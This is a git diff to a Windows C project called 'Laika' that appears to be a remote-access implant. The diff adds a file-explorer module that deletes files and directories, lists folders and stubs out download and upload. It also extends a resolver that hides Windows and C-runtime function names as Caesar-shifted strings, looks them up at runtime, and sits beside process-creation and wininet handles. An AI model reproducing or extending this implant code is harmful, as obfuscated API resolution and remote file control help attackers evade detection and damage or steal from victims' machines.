diff --git a/Laika/Laika.vcxproj b/Laika/Laika.vcxproj
index 0aac14d..0ce46e3 100644
--- a/Laika/Laika.vcxproj
+++ b/Laika/Laika.vcxproj
@@ -153,12 +153,14 @@
+
+
diff --git a/Laika/Laika.vcxproj.filters b/Laika/Laika.vcxproj.filters
index 52e5721..cc108bd 100644
--- a/Laika/Laika.vcxproj.filters
+++ b/Laika/Laika.vcxproj.filters
@@ -10,6 +10,9 @@
{21b436ca-1cf6-4e3b-b4af-31279e56caf5}
+
+ {1c39cfa5-e620-4df2-bae9-e24a26485d37}
+
@@ -21,6 +24,9 @@
Libs
+
+ File explorer
+
@@ -32,5 +38,8 @@
Config
+
+ File explorer
+
\ No newline at end of file
diff --git a/Laika/file_explorer.c b/Laika/file_explorer.c
new file mode 100644
index 0000000..1db9db1
--- /dev/null
+++ b/Laika/file_explorer.c
@@ -0,0 +1,99 @@
+#include "file_explorer.h"
+
+int delete_file(char* path) {
+ return Api.remove(path);
+}
+
+int delete_dir(char* path) {
+ return Api.rmdir(path);
+}
+
+int get_object_info(char* path, struct stat* fileinfo) {
+ return Api.stat(path, fileinfo);
+}
+
+char** get_file_list(const char* dirPath, int* numFiles) {
+ WIN32_FIND_DATA findData;
+ HANDLE hFind;
+
+ WCHAR searchPath[MAX_PATH];
+ Api.mbstowcs(searchPath, dirPath, MAX_PATH);
+
+ wcscat(searchPath, L"\\*.*");
+
+ hFind = FindFirstFile(searchPath, &findData);
+ if (hFind == INVALID_HANDLE_VALUE) {
+ return NULL;
+ }
+
+ // Allocate a dynamic array to store the file names
+ int maxFiles = 100;
+ char** fileList = (char**)Api.malloc(maxFiles * sizeof(char*));
+ int numFound = 0;
+
+ do {
+ if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
+ continue; // Ignore directories
+ }
+
+ // Convert the file name to a char string
+ WCHAR wFileName[MAX_PATH];
+ wcscpy(wFileName, findData.cFileName);
+ char fileName[MAX_PATH];
+ Api.wcstombs(fileName, wFileName, MAX_PATH);
+
+ // Add the file name to the array
+ if (numFound >= maxFiles) {
+ maxFiles *= 2;
+ fileList = (char**)Api.realloc(fileList, maxFiles * sizeof(char*));
+ }
+ fileList[numFound] = (char*)Api.malloc(strlen(fileName) + 1);
+ Api.strcpy(fileList[numFound], fileName);
+ numFound++;
+ } while (FindNextFile(hFind, &findData) != 0);
+
+ Api.FindClose(hFind);
+
+ // Resize the array to the actual number of files found
+ fileList = (char**)Api.realloc(fileList, numFound * sizeof(char*));
+
+ // Set the numFiles parameter to the number of files found
+ *numFiles = numFound;
+
+ return fileList;
+
+ /*
+ const char* dirPath = "C:\\Users\\UserName\\Documents\\ExampleDirectory"; // Replace with the path to the directory you want to list
+
+ int numFiles;
+ char** fileList = listFiles(dirPath, &numFiles);
+
+ if (fileList == NULL) {
+ printf("Error listing files\n");
+ return 1;
+ }
+
+ // Print the list of files
+ for (int i = 0; i < numFiles; i++) {
+ printf("%s\n", fileList[i]);
+ free(fileList[i]);
+ }
+
+ // Free the array and its contents
+ free(fileList);
+
+ return 0;
+ */
+}
+
+void download_file() {
+
+}
+
+void download_folder() {
+
+}
+
+void upload_file() {
+
+}
\ No newline at end of file
diff --git a/Laika/file_explorer.h b/Laika/file_explorer.h
new file mode 100644
index 0000000..065d865
--- /dev/null
+++ b/Laika/file_explorer.h
@@ -0,0 +1,18 @@
+#pragma once
+#include
+#include
+#include
+#include
+#include
+#include
+#include "resolve_apis.h"
+
+extern API Api;
+
+int delete_file(char* path);
+int delete_dir(char* path);
+int get_object_info(char* path, struct stat* fileinfo);
+char** get_file_list(const char* dirPath, int* numFiles);
+void download_file();
+void download_folder();
+void upload_file();
\ No newline at end of file
diff --git a/Laika/main.c b/Laika/main.c
index 44d31cb..e99fa64 100644
--- a/Laika/main.c
+++ b/Laika/main.c
@@ -4,6 +4,7 @@
#include "utils.h"
#include "config.h"
#include "resolve_apis.h"
+#include "file_explorer.h"
#define Sleep_TIME 30
diff --git a/Laika/resolve_apis.c b/Laika/resolve_apis.c
index 7fc15df..8b25593 100644
--- a/Laika/resolve_apis.c
+++ b/Laika/resolve_apis.c
@@ -13,18 +13,6 @@ void InitApis() {
}
Api.GetProcAddress = (TGetProcAddress)GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx"));
-
- hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq"));
- if (!hMsvcrt) {
- return;
- }
- Api.strcpy = (Tstrcpy)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywhu~"));
- Api.malloc = (Tmalloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rfqqth"));
- Api.free = (Tfree)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjj"));
- Api.strncmp = (Tstrncmp)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywshru"));
- Api.mbstowcs = (Tmbstowcs)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rgxyt|hx"));
- Api.memset = (Tmemset)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rjrxjy"));
-
Api.ReadFile = (TReadFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("WjfiKnqj"));
Api.WriteFile = (TWriteFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjKnqj"));
Api.CloseHandle = (TCloseHandle)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HqtxjMfsiqj"));
@@ -37,6 +25,24 @@ void InitApis() {
Api.CreateProcessW = (TCreateProcessW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjUwthjxx\\"));
Api.TerminateProcess = (TTerminateProcess)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("YjwrnsfyjUwthjxx"));
Api.FreeLibrary = (TFreeLibrary)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KwjjQngwfw~"));
+ Api.FindClose = (TFindClose)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiHqtxj"));
+
+ hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq"));
+ if (!hMsvcrt) {
+ return;
+ }
+ Api.strcpy = (Tstrcpy)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywhu~"));
+ Api.malloc = (Tmalloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rfqqth"));
+ Api.free = (Tfree)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjj"));
+ Api.strncmp = (Tstrncmp)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywshru"));
+ Api.mbstowcs = (Tmbstowcs)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rgxyt|hx"));
+ Api.memset = (Tmemset)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rjrxjy"));
+ Api.remove = (Tremove)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("wjrt{j"));
+ Api.rmdir = (Tremove)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dwrinw"));
+ Api.stat = (Tstat)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dxyfy"));
+ Api.sprintf = (Tsprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xuwnsyk"));
+ Api.realloc = (Trealloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("wjfqqth"));
+ Api.wcstombs = (Twcstombs)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("|hxytrgx"));
hWininet = LoadLibraryA(CAESAR_DECRYPT("|x7d873iqq"));
if (!hWininet) {
diff --git a/Laika/resolve_apis.h b/Laika/resolve_apis.h
index 2faa1c3..035e869 100644
--- a/Laika/resolve_apis.h
+++ b/Laika/resolve_apis.h
@@ -22,6 +22,12 @@ typedef void(WINAPI* Tfree)(void*);
typedef int(WINAPI* Tstrncmp)(const char*, const char*, size_t);
typedef size_t(WINAPI* Tmbstowcs)(wchar_t*, const char*, size_t);
typedef char*(WINAPI* Tstrcpy)(char*, const char*);
+typedef int(WINAPI* Tremove)(const char*);
+typedef int(WINAPI* Trmdir)(const char*);
+typedef int(WINAPI* Tstat)(char const* const, struct stat* const);
+typedef int(WINAPI* Tsprintf)(char const*, char const* const, ...);
+typedef void*(WINAPI* Trealloc)(void*, size_t);
+typedef size_t(WINAPI* Twcstombs)(char*, wchar_t const*, size_t);
typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
typedef BOOL(WINAPI* TWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
@@ -36,6 +42,7 @@ typedef BOOL(WINAPI* TCreateProcessW)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LP
typedef BOOL(WINAPI* TTerminateProcess)(HANDLE, UINT);
typedef BOOL(WINAPI* TFreeLibrary)(HMODULE);
typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR);
+typedef BOOL(WINAPI* TFindClose)(HANDLE);
typedef struct ApiList {
Tconnect connect;
@@ -66,9 +73,16 @@ typedef struct ApiList {
TTerminateProcess TerminateProcess;
TFreeLibrary FreeLibrary;
TGetProcAddress GetProcAddress;
+ TFindClose FindClose;
Tmbstowcs mbstowcs;
+ Twcstombs wcstombs;
Tstrcpy strcpy;
+ Tremove remove;
+ Trmdir rmdir;
+ Tstat stat;
+ Tsprintf sprintf;
+ Trealloc realloc;
} API;
void InitApis();